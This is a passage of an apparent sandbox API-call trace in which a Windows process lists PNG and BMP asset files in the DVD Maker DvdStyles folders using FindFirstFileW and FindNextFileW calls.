ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d03f8a5, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x11da, dwReserved0=0x0, dwReserved1=0x0, cFileName="1047x576black.png", cAlternateFileName="")) returned 1 [0052.838] GetLastError () returned 0x12 [0052.838] FindNextFileW (in: hFindFile=0x593260, lpFindFileData=0x2faea00 | out: lpFindFileData=0x2faea00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f173508, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f173508, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d03f8a5, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xb05, dwReserved0=0x0, dwReserved1=0x0, cFileName="15x15dot.png", cAlternateFileName="")) returned 1 [0052.838] GetLastError () returned 0x12 [0052.838] FindNextFileW (in: hFindFile=0x593260, lpFindFileData=0x2faea00 | out: lpFindFileData=0x2faea00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f20ba7c, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f20ba7c, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d065a03, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x11d3, dwReserved0=0x0, dwReserved1=0x0, cFileName="dotsdarkoverlay.png", cAlternateFileName="")) returned 1 [0052.838] GetLastError () returned 0x12 [0052.838] FindNextFileW (in: hFindFile=0x593260, lpFindFileData=0x2faea00 | out: lpFindFileData=0x2faea00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f20ba7c, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f20ba7c, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d065a03, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x123d, dwReserved0=0x0, dwReserved1=0x0, cFileName="dotslightoverlay.png", cAlternateFileName="")) returned 1 [0052.838] GetLastError () returned 0x12 [0052.838] FindNextFileW (in: hFindFile=0x593260, lpFindFileData=0x2faea00 | out: lpFindFileData=0x2faea00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f12724e, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f12724e, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d065a03, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x6794, dwReserved0=0x0, dwReserved1=0x0, cFileName="full.png", cAlternateFileName="")) returned 1 [0052.838] GetLastError () returned 0x12 [0052.838] FindNextFileW (in: hFindFile=0x593260, lpFindFileData=0x2faea00 | out: lpFindFileData=0x2faea00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f1bf7c2, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f1bf7c2, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d065a03, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13e0, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationLeft_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0052.838] GetLastError () returned 0x12 [0052.838] FindNextFileW (in: hFindFile=0x593260, lpFindFileData=0x2faea00 | out: lpFindFileData=0x2faea00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f1bf7c2, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f1bf7c2, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d065a03, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc3a, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationLeft_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0052.838] GetLastError () returned 0x12 [0052.838] FindNextFileW (in: hFindFile=0x593260, lpFindFileData=0x2faea00 | out: lpFindFileData=0x2faea00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f1e591f, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f1e591f, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d065a03, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13a1, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationRight_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0052.838] GetLastError () returned 0x12 [0052.838] FindNextFileW (in: hFindFile=0x593260, lpFindFileData=0x2faea00 | out: lpFindFileData=0x2faea00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f1e591f, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f1e591f, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d08bb61, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc2e, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationRight_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0052.839] GetLastError () returned 0x12 [0052.839] FindNextFileW (in: hFindFile=0x593260, lpFindFileData=0x2faea00 | out: lpFindFileData=0x2faea00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f173508, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f173508, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d08bb61, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x135b, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationUp_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0052.839] GetLastError () returned 0x12 [0052.839] FindNextFileW (in: hFindFile=0x593260, lpFindFileData=0x2faea00 | out: lpFindFileData=0x2faea00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f199665, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f199665, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d08bb61, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc09, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationUp_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0052.839] GetLastError () returned 0x12 [0052.839] FindNextFileW (in: hFindFile=0x593260, lpFindFileData=0x2faea00 | out: lpFindFileData=0x2faea00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f231bd9, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f231bd9, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d08bb61, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xb92, dwReserved0=0x0, dwReserved1=0x0, cFileName="pushplaysubpicture.png", cAlternateFileName="")) returned 1 [0052.839] GetLastError () returned 0x12 [0052.839] FindNextFileW (in: hFindFile=0x593260, lpFindFileData=0x2faea00 | out: lpFindFileData=0x2faea00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f231bd9, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f231bd9, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d08bb61, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xb92, dwReserved0=0x0, dwReserved1=0x0, cFileName="pushplaysubpicture.png", cAlternateFileName="")) returned 0 [0052.839] FindClose (in: hFindFile=0x593260 | out: hFindFile=0x593260) returned 1 [0052.840] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0x3820088 | out: hHeap=0xb80000) returned 1 [0052.840] FindNextFileW (in: hFindFile=0x5931e0, lpFindFileData=0x2faec84 | out: lpFindFileData=0x2faec84*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6eec5c7e, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6eec5c7e, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d1240d9, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x75ba, dwReserved0=0x0, dwReserved1=0x0, cFileName="Heart_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0052.840] GetLastError () returned 0x12 [0052.840] FindNextFileW (in: hFindFile=0x5931e0, lpFindFileData=0x2faec84 | out: lpFindFileData=0x2faec84*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ea2923b, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ea2923b, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d1240d9, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="heart_glass_Thumbnail.bmp", cAlternateFileName="")) returned 1 [0052.840] GetLastError () returned 0x12 [0052.840] FindNextFileW (in: hFindFile=0x5931e0, lpFindFileData=0x2faec84 | out: lpFindFileData=0x2faec84*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6eec5c7e, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6eec5c7e, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d1240d9, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1278, dwReserved0=0x0, dwReserved1=0x0, cFileName="Heart_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0052.840] GetLastError () returned 0x12 [0052.840] FindNextFileW (in: hFindFile=0x5931e0, lpFindFileData=0x2faec84 | out: lpFindFileData=0x2faec84*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6eeebddb, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6eeebddb, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d1240d9, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x166e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Heart_VideoInset.png", cAlternateFileName="")) returned 1 [0052.840] GetLastError () returned 0x12 [0052.840] FindNextFileW (in: hFindFile=0x5931e0, lpFindFileData=0x2faec84 | out: lpFindFileData=0x2faec84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa0fd11ff, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa787f65, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa108fe2a, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="HueCycle", cAlternateFileName="")) returned 1 [0052.840] GetLastError () returned 0x12 [0052.840] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\*", lpFindFileData=0x2faea00 | out: lpFindFileData=0x2faea00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa0fd11ff, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa787f65, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa108fe2a, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5932e0 [0053.174] FindNextFileW (in: hFindFile=0x5932e0, lpFindFileData=0x2faea00 | out: lpFindFileData=0x2faea00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa0fd11ff, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa787f65, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa108fe2a, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0053.174] FindNextFileW (in: hFindFile=0x5932e0, lpFindFileData=0x2faea00 | out: lpFindFileData=0x2faea00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6faf8c48, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6faf8c48, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d1240d9, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x11da, dwReserved0=0x0, dwReserved1=0x0, cFileName="1047x576black.png", cAlternateFileName="")) returned 1 [0053.174] GetLastError () returned 0x12 [0053.174] FindNextFileW (in: hFindFile=0x5932e0, lpFindFileData=0x2faea00 | out: lpFindFileData=0x2faea00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fb1eda5, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fb1eda5, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d1240d9, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xb05, dwReserved0=0x0, dwReserved1=0x0, cFileName="15x15dot.png", cAlternateFileName="")) returned 1 [0053.174] GetLastError () returned 0x12 [0053.174] FindNextFileW (in: hFindFile=0x5932e0, lpFindFileData=0x2faea00 | out: lpFindFileData=0x2faea00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fad2aeb, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fad2aeb, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d14a237, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x43e2, dwReserved0=0x0, dwReserved1=0x0, cFileName="colorcycle.png", cAlternateFileName="")) returned 1 [0053.174] GetLastError () returned 0x12 [0053.175] FindNextFileW (in: hFindFile=0x5932e0, lpFindFileData=0x2faea00 | out: lpFindFileData=0x2faea00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fb44f02, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fb44f02, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d14a237, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xb57, dwReserved0=0x0, dwReserved1=0x0, cFileName="huemainsubpicture2.png", cAlternateFileName="")) returned 1 [0053.175] GetLastError () returned 0x12 [0053.175] FindNextFileW (in: hFindFile=0x5932e0, lpFindFileData=0x2faea00 | out: lpFindFileData=0x2faea00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fc29730, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fc29730, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d14a237, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13e0, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationLeft_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0053.175] GetLastError () returned 0x12 [0053.175] FindNextFileW (in: hFindFile=0x5932e0, lpFindFileData=0x2faea00 | out: lpFindFileData=0x2faea00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fbdd476, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fbdd476, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d14a237, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc3a, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationLeft_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0053.175] GetLastError () returned 0x12 [0053.175] FindNextFileW (in: hFindFile=0x5932e0, lpFindFileData=0x2faea00 | out: lpFindFileData=0x2faea00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fbdd476, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fbdd476, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d14a237, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13a1, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationRight_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0053.175] GetLastError () returned 0x12 [0053.175] FindNextFileW (in: hFindFile=0x5932e0, lpFindFileData=0x2faea00 | out: lpFindFileData=0x2faea00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fb911bc, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fb911bc, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d170395, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc2e, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationRight_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0053.176] GetLastError () returned 0x12 [0053.176] FindNextFileW (in: hFindFile=0x5932e0, lpFindFileData=0x2faea00 | out: lpFindFileData=0x2faea00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fb911bc, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fb911bc, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d170395, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x135b, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationUp_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0053.176] GetLastError () returned 0x12 [0053.176] FindNextFileW (in: hFindFile=0x5932e0, lpFindFileData=0x2faea00 | out: lpFindFileData=0x2faea00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fbb7319, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fbb7319, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d170395, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc09, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationUp_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0053.176] GetLastError () returned 0x12 [0053.176] FindNextFileW (in: hFindFile=0x5932e0, lpFindFileData=0x2faea00 | out: lpFindFileData=0x2faea00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fb6b05f, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fb6b05f, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d170395, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xf2f, dwReserved0=0x0, dwReserved1=0x0, cFileName="title_stripe.png", cAlternateFileName="")) returned 1 [0053.176] GetLastError () returned 0x12 [0053.176] FindNextFileW (in: hFindFile=0x5932e0, lpFindFileData=0x2faea00 | out: lpFindFileData=0x2faea00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fb6b05f, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fb6b05f, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d170395, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xf2f, dwReserved0=0x0, dwReserved1=0x0, cFileName="title_stripe.png", cAlternateFileName="")) returned 0 [0053.176] FindClose (in: hFindFile=0x5932e0 | out: hFindFile=0x5932e0) returned 1 [0053.177] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0x3820088 | out: hHeap=0xb80000) returned 1 [0053.177] FindNextFileW (in: hFindFile=0x5931e0, lpFindFileData=0x2faec84 | out: lpFindFileData=0x2faec84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa19a729d, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa7fa6b2, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa1a3fc59, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="LayeredTitles", cAlternateFileName="LAYERE~1")) returned 1 [0053.177] GetLastError () returned 0x12 [0053.177] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\*", lpFindFileData=0x2faea00 | out: lpFindFileData=0x2faea00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa19a729d, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa7fa6b2, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa1a3fc59, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5932e0 [0053.179] FindNextFileW (in: hFindFile=0x5932e0, lpFindFileData=0x2faea00 | out: lpFindFileData=0x2faea00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa19a729d, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa7fa6b2, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa1a3fc59, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0053.179] FindNextFileW (in: hFindFile=0x5932e0, lpFindFileData=0x2faea00 | out: lpFindFileData=0x2faea00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70bee7b2, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70bee7b2, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d170395, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x11da, dwReserved0=0x0, dwReserved1=0x0, cFileName="1047x576black.png", cAlternateFileName="")) returned 1 [0053.179] GetLastError () returned 0x12 [0053.179] FindNextFileW (in: hFindFile=0x5932e0, lpFindFileData=0x2faea00 | out: lpFindFileData=0x2faea00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70c60bc9, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70c60bc9, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d170395, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xb04, dwReserved0=0x0, dwReserved1=0x0, cFileName="203x8subpicture.png", cAlternateFileName="")) returned 1 [0053.180] GetLastError () returned 0x12 [0053.180] FindNextFileW (in: hFindFile=0x5932e0, lpFindFileData=0x2faea00 | out: lpFindFileData=0x2faea00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70c1490f, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70c1490f, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d1964f3, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x191f, dwReserved0=0x0, dwReserved1=0x0, cFileName="blackbars60.png", cAlternateFileName="")) returned 1 [0053.180] GetLastError () returned 0x12 [0053.180] FindNextFileW (in: hFindFile=0x5932e0, lpFindFileData=0x2faea00 | out: lpFindFileData=0x2faea00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70abdcca, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70abdcca, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d1964f3, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x5fed, dwReserved0=0x0, dwReserved1=0x0, cFileName="layers.png", cAlternateFileName="")) returned 1 [0053.180] GetLastError () returned 0x12 [0053.180] FindNextFileW (in: hFindFile=0x5932e0, lpFindFileData=0x2faea00 | out: lpFindFileData=0x2faea00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70ba24f8, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70ba24f8, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d1964f3, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13e0, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationLeft_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0053.180] GetLastError () returned 0x12 [0053.180] FindNextFileW (in: hFindFile=0x5932e0, lpFindFileData=0x2faea00 | out: lpFindFileData=0x2faea00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70b5623e, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70b5623e, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d1964f3, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc3a, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationLeft_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0053.180] GetLastError () returned 0x12 [0053.180] FindNextFileW (in: hFindFile=0x5932e0, lpFindFileData=0x2faea00 | out: lpFindFileData=0x2faea00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70ba24f8, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70ba24f8, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d1964f3, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13a1, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationRight_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0053.180] GetLastError () returned 0x12 [0053.180] FindNextFileW (in: hFindFile=0x5932e0, lpFindFileData=0x2faea00 | out: lpFindFileData=0x2faea00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70b300e1, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70b300e1, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d1964f3, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc2e, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationRight_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0053.180] GetLastError () returned 0x12 [0053.180] FindNextFileW (in: hFindFile=0x5932e0, lpFindFileData=0x2faea00 | out: lpFindFileData=0x2faea00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70ae3e27, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70ae3e27, ftLastAccessTime.dwHighDateTime=0x1ca03fb, 